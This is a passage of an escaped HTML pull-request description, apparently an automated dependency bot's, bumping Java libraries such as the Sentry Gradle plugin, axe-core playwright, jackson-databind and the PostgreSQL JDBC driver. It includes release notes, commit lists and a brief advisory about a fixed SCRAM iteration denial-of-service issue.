StreamParser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/e1b0df5fec53710214cd700de38d82e1ca92bd79\"\u003e\u003ccode\u003ee1b0df5\u003c/code\u003e\u003c/a\u003e NodeFilter javadoc tweak\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jhy/jsoup/compare/jsoup-1.22.1...jsoup-1.22.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.sentry.jvm.gradle` from 6.4.0 to 6.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/releases\"\u003eio.sentry.jvm.gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.6.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump ComposablePreviewScanner from v0.8.1 to v0.8.2 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1174\"\u003e#1174\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/blob/master/CHANGELOG.md#082\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/compare/0.8.1...0.8.2\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump CLI from v3.4.0 to v3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1175\"\u003e#1175\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#341\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.4.0...3.4.1\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.5.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump CLI from v3.3.5 to v3.4.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1156\"\u003e#1156\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#340\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.3.5...3.4.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Android SDK from v8.38.0 to v8.40.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1153\"\u003e#1153\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1161\"\u003e#1161\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md#8400\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.40.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/blob/main/CHANGELOG.md\"\u003eio.sentry.jvm.gradle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.6.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump ComposablePreviewScanner from v0.8.1 to v0.9.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1174\"\u003e#1174\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1176\"\u003e#1176\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/blob/master/CHANGELOG.md#090\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sergio-sastre/ComposablePreviewScanner/compare/0.8.1...0.9.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump CLI from v3.4.0 to v3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1175\"\u003e#1175\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#341\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.4.0...3.4.1\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.5.0\u003c/h2\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump CLI from v3.3.5 to v3.4.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1156\"\u003e#1156\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/blob/master/CHANGELOG.md#340\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-cli/compare/3.3.5...3.4.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Android SDK from v8.38.0 to v8.40.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1153\"\u003e#1153\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/pull/1161\"\u003e#1161\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md#8400\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.40.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/c615323c5d879dc6296d068295bbd00fb7470ae9\"\u003e\u003ccode\u003ec615323\u003c/code\u003e\u003c/a\u003e release: 6.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/0e85cc6618a30bceea8b9df9fd19dd6b1780feaf\"\u003e\u003ccode\u003e0e85cc6\u003c/code\u003e\u003c/a\u003e chore: update plugin-build/sentry-cli.properties to 3.4.1 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1175\"\u003e#1175\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/a74a5d6fc3813996d1142ac8b202570759c550aa\"\u003e\u003ccode\u003ea74a5d6\u003c/code\u003e\u003c/a\u003e chore: update plugin-build/composable-preview-scanner.properties to 0.8.2 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/1024da85c39fe7f479914689d311b85380777325\"\u003e\u003ccode\u003e1024da8\u003c/code\u003e\u003c/a\u003e feat(deps): Auto-update ComposablePreviewScanner version (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1173\"\u003e#1173\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/e31b8344a978a09a85894f177a129f0a3a85ddb8\"\u003e\u003ccode\u003ee31b834\u003c/code\u003e\u003c/a\u003e chore(ci): Unify release build command and artifact upload (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1170\"\u003e#1170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/f2f447b995022ca702c6d3e2417a9e8d22340609\"\u003e\u003ccode\u003ef2f447b\u003c/code\u003e\u003c/a\u003e build(ci): Upload sentry-snapshots-runtime zip for craft (EME-1055) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1169\"\u003e#1169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/8fa3d2df3c509e5502e60c2b122d6ffbcb19c9f8\"\u003e\u003ccode\u003e8fa3d2d\u003c/code\u003e\u003c/a\u003e feat(matrix): Fetch AGP\u0026lt;-\u0026gt;Kotlin compat dynamically (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1166\"\u003e#1166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/d7afb6d90a5c084ed6eb5f32901fe46687bbcbd5\"\u003e\u003ccode\u003ed7afb6d\u003c/code\u003e\u003c/a\u003e test(gradle): Add isolated-projects compatibility test (EME-1072) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1160\"\u003e#1160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/7938856b62e8b46a1249f1475b497ef40448a3c0\"\u003e\u003ccode\u003e7938856\u003c/code\u003e\u003c/a\u003e feat(snapshots): Restructure sidecar JSON to match ingestion schema (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1162\"\u003e#1162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/commit/055f0a6e5864179d6dad4f31c51bbad7f6449eae\"\u003e\u003ccode\u003e055f0a6\u003c/code\u003e\u003c/a\u003e refactor(snapshots): Group preview options under a previews sub-extension (\u003ca href=\"https://redirect.github.com/getsentry/sentry-android-gradle-plugin/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-android-gradle-plugin/compare/6.4.0...6.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `au.com.dius.pact` from 4.6.20 to 4.7.1\n\nUpdates `com.deque.html.axe-core:playwright` from 4.11.1 to 4.11.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/releases\"\u003ecom.deque.html.axe-core:playwright's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 4.11.3\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e98e2472\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease 4.11.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/blob/develop/CHANGELOG.md\"\u003ecom.deque.html.axe-core:playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.2...v4.11.3\"\u003e4.11.3\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e98e2472\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.1...v4.11.2\"\u003e4.11.2\u003c/a\u003e (2026-04-16)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/580\"\u003e#580\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/f7de945a0887567a65695b2a7bfb53c16a98d914\"\u003ef7de945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate axe-core to v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/585\"\u003e#585\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/a20927e2945f758cc770107afbd2307cab2e8b4f\"\u003ea20927e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/08a29bbb03ec7abb78a47a2969104a6a6fbf02a3\"\u003e\u003ccode\u003e08a29bb\u003c/code\u003e\u003c/a\u003e chore: release v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/603\"\u003e#603\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/bad807af19dae69464edd14ba94419e2eb7d59d5\"\u003e\u003ccode\u003ebad807a\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.3 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/18830a820d0607941685bec6b22efcf5cea6e67f\"\u003e\u003ccode\u003e18830a8\u003c/code\u003e\u003c/a\u003e Merge branch 'release' into release-2026-04-29\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/d52a30f3ef29be14e3519265dd13f01cb6105b4e\"\u003e\u003ccode\u003ed52a30f\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/98e2472b67e0255ed6b1fb15bb65f17b5db77050\"\u003e\u003ccode\u003e98e2472\u003c/code\u003e\u003c/a\u003e fix: Update axe-core to v4.11.4 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/eceefb47696088328c2b96b786c228976ae952af\"\u003e\u003ccode\u003eeceefb4\u003c/code\u003e\u003c/a\u003e ci: change secret for updating axe-core to use pat (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/695dbd9c2f4b11c52d67e5264664a37042233c90\"\u003e\u003ccode\u003e695dbd9\u003c/code\u003e\u003c/a\u003e chore: add create-release workflow (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/596\"\u003e#596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/6f8c7818ecd096bdc40f4c42aedd7b0f4ed5dda9\"\u003e\u003ccode\u003e6f8c781\u003c/code\u003e\u003c/a\u003e chore: merge master into develop (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/595\"\u003e#595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/eeebc9327b8b8f8660c90639d5269cd2d85e3f45\"\u003e\u003ccode\u003eeeebc93\u003c/code\u003e\u003c/a\u003e chore: Release 4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/594\"\u003e#594\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/commit/e0563005d6537d1b2cd794ec743eddc98521526c\"\u003e\u003ccode\u003ee056300\u003c/code\u003e\u003c/a\u003e chore: RC v4.11.2 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-maven-html/issues/592\"\u003e#592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/dequelabs/axe-core-maven-html/compare/v4.11.1...v4.11.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca 